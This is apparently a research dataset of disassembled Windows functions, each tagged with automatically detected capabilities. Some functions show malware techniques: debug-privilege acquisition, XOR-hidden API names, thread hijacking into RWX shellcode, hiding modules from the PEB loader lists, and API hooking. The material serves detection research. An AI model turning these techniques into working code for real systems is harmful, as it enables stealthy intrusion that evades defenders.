joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40c190
cmp edx, dword [eax]
je 0x40878b
add eax, 8
inc ecx
cmp eax, 0x40c220
jl 0x40877c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40c190]
jne 0x4088b9
mov eax, dword [0x40cbb0]
cmp eax, 1
je 0x408893
test eax, eax
jne 0x4087bc
cmp dword [0x40c0e4], 1
je 0x408893
cmp edx, 0xfc
je 0x4088b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4087f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00409670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00409490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x408836
lea eax, [ebp - 0x1a4]
push eax
call fcn.00409490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b45c
push edi
call fcn.00409f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00409670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00409680
lea eax, [ebp - 0xa0]
push 0x40b43c
push eax
call fcn.00409680
push dword [esi + 0x40c194]
lea eax, [ebp - 0xa0]
push eax
call fcn.00409680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00409e75
add esp, 0x2c
pop edi
jmp 0x4088b9
lea eax, [ebp + 8]
lea esi, [esi + 0x40c194]
push 0
push eax
push dword [esi]
call fcn.00409490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret
Function at 0x10001750
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10035428
push 0x10010cf0
mov eax, dword fs:[0]
push eax
add esp, 0xffffffc0
mov eax, dword [0x10038040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x50], 0
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x100017e5
xor al, al
jmp 0x1000186e
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov byte [ecx], 0xc3
lea edx, [ebp - 0x20]
push edx
push 0x140
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001810
xor al, al
jmp 0x1000186e
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
push 0x1000185b
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000f695
mov esp, ebp
pop ebp
ret

Function at 0x10004990
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
call fcn.1000a880
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10004540
push 0
push 0
mov dword [0x1003cef0], eax
mov dword [0x1003cef4], edx
mov dword [0x1003cef8], eax
mov dword [0x1003cefc], edx
call esi
mov ebx, eax
test ebx, ebx
je 0x10004a08
push 0
push 0
push 0
push 0x100047e0
push 0
push 0
call esi
mov edi, eax
test edi, edi
je 0x10004a08
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x64
push ebx
call esi
push 0x64
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebx
ret
push 1
call fcn.10016cf5
int3
Function at 0x1000a880
Capabilities:
Acquire debug privileges
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
mov eax, dword [0x10038040]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
call esi
test eax, eax
jne 0x1000a8a4
call esi
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000a97c
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push 0x28
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000a97c
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x30]
push eax
push str.SeSecurityPrivilege
push 0
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000a97c
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000a97c
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x30]
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000a97c
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000a97c
push dword [esp + 0x20]
call esi
push edi
call esi
lea eax, [esp + 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000aa16
movaps xmm0, xmmword [0x10033b10]
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov word [esp + 0x1c], 0x64
nop dword [eax]
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x10
jb 0x1000a9b0
lea eax, [esp + 0x24]
mov byte [esp + 0x1d], 0
push eax
lea eax, [esp + 0x11]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000aa10
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
push 0
push 0
push 0x10
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x34]
mov dword [esp + 0x44], 1
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x20]
call esi
call fcn.1000ab00
mov dword [0x1003cfb4], eax
test eax, eax
je 0x1000aa2b
mov ecx, eax
call fcn.1000acf0
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.1000f695
mov esp, ebp
pop ebp
ret
Function at 0x1000ab00
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10038040]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x47
mov dword [ebp - 0x2f8], 0x2b331547
mov dword [ebp - 0x2f4], 0x2326280b
xor eax, eax
mov dword [ebp - 0x2f0], 0x2e353314
mov word [ebp - 0x2ec], 0x2029
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1000ab5a
mov cl, byte [ebp - 0x2f8]
jmp 0x1000ab45
push ebx
mov byte [ebp - 0x2e8], 1
mov al, 0x6f
xor al, byte [ebp - 0x2e8]
mov bl, 0x6d
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x65
mov bh, ah
mov byte [ebp - 0x2d9], ah
mov dh, dl
mov byte [ebp - 0x2de], 0
xor dl, al
mov byte [ebp - 0x2ea], 0
xor bl, al
mov byte [ebp - 0x2e5], dl
xor ah, al
mov byte [ebp - 0x2e4], bl
xor dh, al
mov byte [ebp - 0x2e3], ah
xor bh, al
mov byte [ebp - 0x2e1], dh
mov cl, 0x75
mov byte [ebp - 0x2e0], bh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x2f
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2e7]
push esi
push eax
mov byte [ebp - 0x2e2], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f7]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x1000acd2
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000acd2
push 0x2c8
lea eax, [ebp - 0x2d4]
push 0
push eax
call fcn.10011620
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000acd2
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000acd2
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000acd2
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001890
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000acd2
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000f695
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f695
mov esp, ebp
pop ebp
ret
Function at 0x1000acf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov byte [ebp - 0x10], 0x52
mov al, 0x3c
xor al, byte [ebp - 0x10]
mov bl, 0x3e
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x36
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 0x26
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 0x7c
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x1000adc3
movaps xmm0, xmmword [0x10033b20]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x7a605c66
mov dword [ebp - 0x14], 0x6c696d
nop word [eax + eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x1000ad80
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000adc3
test esi, esi
jne 0x1000adae
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000add0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1000ae0e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000ae12
cmp edx, esi
jne 0x1000adf7
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1000ae32
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000ae36
cmp edx, esi
jne 0x1000ae1b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1000ae56
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000ae5a
cmp edx, esi
jne 0x1000ae3f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000ae70
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x10038040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov edi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000aecc
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
cmp dword [ebp - 0x128], edi
je 0x1000aedb
lea eax, [ebp - 0x130]
push eax
push esi
call ebx
test eax, eax
jne 0x1000aeb6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x1000aed3
push eax
call esi
movaps xmm0, xmmword [str.0DbUCE_UdXBUQT]
xor eax, eax
movups xmmword [ebp - 0x150], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x150]
xor byte [ebp + eax - 0x14f], cl
inc eax
cmp eax, 0xe
jb 0x1000af10
mov byte [ebp - 0x140], 0x23
mov al, 0x4d
xor al, byte [ebp - 0x140]
mov bl, 0x4f
mov ah, bl
mov byte [ebp - 0x13f], al
mov al, byte [ebp - 0x140]
mov dl, 0x47
mov bh, ah
mov byte [ebp - 0x131], ah
mov dh, dl
mov byte [ebp - 0x136], 0
xor dl, al
mov byte [ebp - 0x141], 0
xor bl, al
mov byte [ebp - 0x13d], dl
xor ah, al
mov byte [ebp - 0x13c], bl
xor dh, al
mov byte [ebp - 0x13b], ah
xor bh, al
mov byte [ebp - 0x139], dh
mov cl, 0x57
mov byte [ebp - 0x138], bh
xor cl, al
mov byte [ebp - 0x136], 0
mov ch, 0xd
mov byte [ebp - 0x13e], cl
xor ch, al
mov al, byte [ebp - 0x131]
xor al, byte [ebp - 0x140]
mov byte [ebp - 0x137], al
lea eax, [ebp - 0x13f]
push eax
mov byte [ebp - 0x13a], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x14f]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x116e058
mov ebx, eax
call fcn.1000a840
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1000b00f
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push edi
call ebx
test eax, eax
js 0x1000aed3
cmp dword [ebp - 8], 0
ja 0x1000aed3
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000f695
mov esp, ebp
pop ebp
ret
Function at 0x1000c9c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1000cb90
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1000ca9d
mov edx, dword [ebp - 4]
cmp edx, dword [0x10038010]
jb 0x1000ca0a
mov eax, dword [ebp - 4]
cmp eax, dword [0x10038014]
ja 0x1000ca0a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1000c9da
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10011620
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1000ca2f
jmp 0x1000ca9d
cmp dword [ebp - 0x14], 0x10000
jne 0x1000ca83
cmp dword [ebp - 0x18], 0x10000
jb 0x1000ca83
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000ca66
mov eax, dword [ebp - 8]
jmp 0x1000ca9f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1000ca76
xor eax, eax
jmp 0x1000ca9f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000ca98
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1000cb90
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000c9da
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1000cab0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1000cbc0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1000cb85
mov edx, dword [ebp - 4]
cmp edx, dword [0x10038010]
jb 0x1000caf5
mov eax, dword [ebp - 4]
cmp eax, dword [0x10038014]
ja 0x1000caf5
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1000cac5
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10011620
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1000cb1a
jmp 0x1000cb85
cmp dword [ebp - 0x14], 0x10000
jne 0x1000cb6e
cmp dword [ebp - 0x18], 0x10000
jb 0x1000cb6e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000cb51
mov eax, dword [ebp - 8]
jmp 0x1000cb87
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x1000cb61
xor eax, eax
jmp 0x1000cb87
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1000cb80
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1000cbc0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1000cac5
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000cbf0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1000cfe0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x1003be84], 0
jne 0x1000cc2d
cmp dword [0x1003be80], 0
je 0x1000cc2d
mov eax, dword [0x1003be80]
mov dword [0x1003be84], eax
cmp dword [0x1003be84], 0
je 0x1000ccaa
mov ecx, dword [0x1003be84]
cmp dword [ecx + 8], 0
je 0x1000ccaa
mov edx, dword [0x1003be84]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1000ccaa
mov ecx, dword [0x1003be84]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1000ccaa
mov eax, dword [0x1003be84]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x1000cc79
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x1000cc80
xor eax, eax
jmp 0x1000cdc9
mov ecx, dword [0x1003be84]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.10011620
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x1000cdc9
mov edx, dword [0x1003be80]
mov dword [0x1003be84], edx
jmp 0x1000ccc6
mov eax, dword [0x1003be84]
mov ecx, dword [eax + 4]
mov dword [0x1003be84], ecx
cmp dword [0x1003be84], 0
je 0x1000cd06
cmp dword [0x1003be84], 0
je 0x1000cd04
mov edx, dword [0x1003be84]
cmp dword [edx + 8], 0
je 0x1000cd04
mov eax, dword [0x1003be84]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x1000cd04
mov edx, dword [0x1003be84]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x1000cd04
jmp 0x1000cc5e
jmp 0x1000ccb8
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1000cdd0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x1000cdc7
mov eax, dword [ebp - 0x18]
mov dword [0x1003be84], eax
mov ecx, dword [0x1003be84]
mov dword [ecx], 0x52727464
mov edx, dword [0x1003be84]
mov dword [edx + 8], 0
mov eax, dword [0x1003be84]
mov ecx, dword [0x1003be80]
mov dword [eax + 4], ecx
mov edx, dword [0x1003be84]
mov dword [0x1003be80], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x1003be84]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x1000cd97
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x1000cdb7
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1000cd8e
mov eax, dword [0x1003be84]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1000cc5e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000db10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1003be80]
mov dword [ebp - 4], eax
jmp 0x1000db29
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x1000db50
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1000db4e
call sub.KERNEL32.dll_GetLastError
jmp 0x1000db52
jmp 0x1000db20
xor eax, eax
mov esp, ebp
pop ebp
ret